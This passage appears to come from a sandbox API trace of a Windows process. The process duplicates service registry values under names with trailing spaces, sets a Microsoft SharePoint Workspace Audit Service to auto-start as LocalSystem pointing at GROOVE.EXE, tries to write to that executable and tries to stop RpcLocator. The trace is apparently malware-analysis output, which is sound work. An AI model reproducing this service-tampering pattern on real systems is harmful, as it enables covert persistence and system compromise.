lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.841] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.841] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.841] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.841] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.841] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.841] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.841] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.841] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.842] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.842] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.842] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.842] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.842] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.842] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.842] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.842] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.842] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.843] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.844] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.844] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.844] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0228.844] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0228.844] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.844] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.844] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.844] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.844] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.844] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.844] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.845] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.845] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.845] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.845] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.845] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.845] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.845] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.845] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.845] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.845] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.845] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0228.845] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.845] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.846] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.847] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.847] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0228.847] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7df7b8*="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" [0228.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0228.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0228.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.847] LocalFree (hMem=0x7df7b8) returned 0x0 [0228.847] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0228.847] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x2) returned 0x803990 [0228.848] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0228.849] CloseServiceHandle (hSCObject=0x803990) returned 1 [0228.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0228.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0228.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0228.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0228.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0228.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0228.850] RegCloseKey (hKey=0xc4) returned 0x0 [0228.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0228.850] RegCloseKey (hKey=0x148) returned 0x0 [0228.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0228.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0228.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cb74000, ftLastWriteTime.dwHighDateTime=0x1cacbae, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0228.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0228.850] GetLastError () returned 0x20 [0228.850] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0228.851] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0228.851] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0228.851] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x8038a0 [0228.851] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0228.852] GetLastError () returned 0x425 [0228.852] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0228.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0228.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0228.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0228.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0228.852] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.852] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0228.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.853] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.853] WideCharToMultiByte (in: 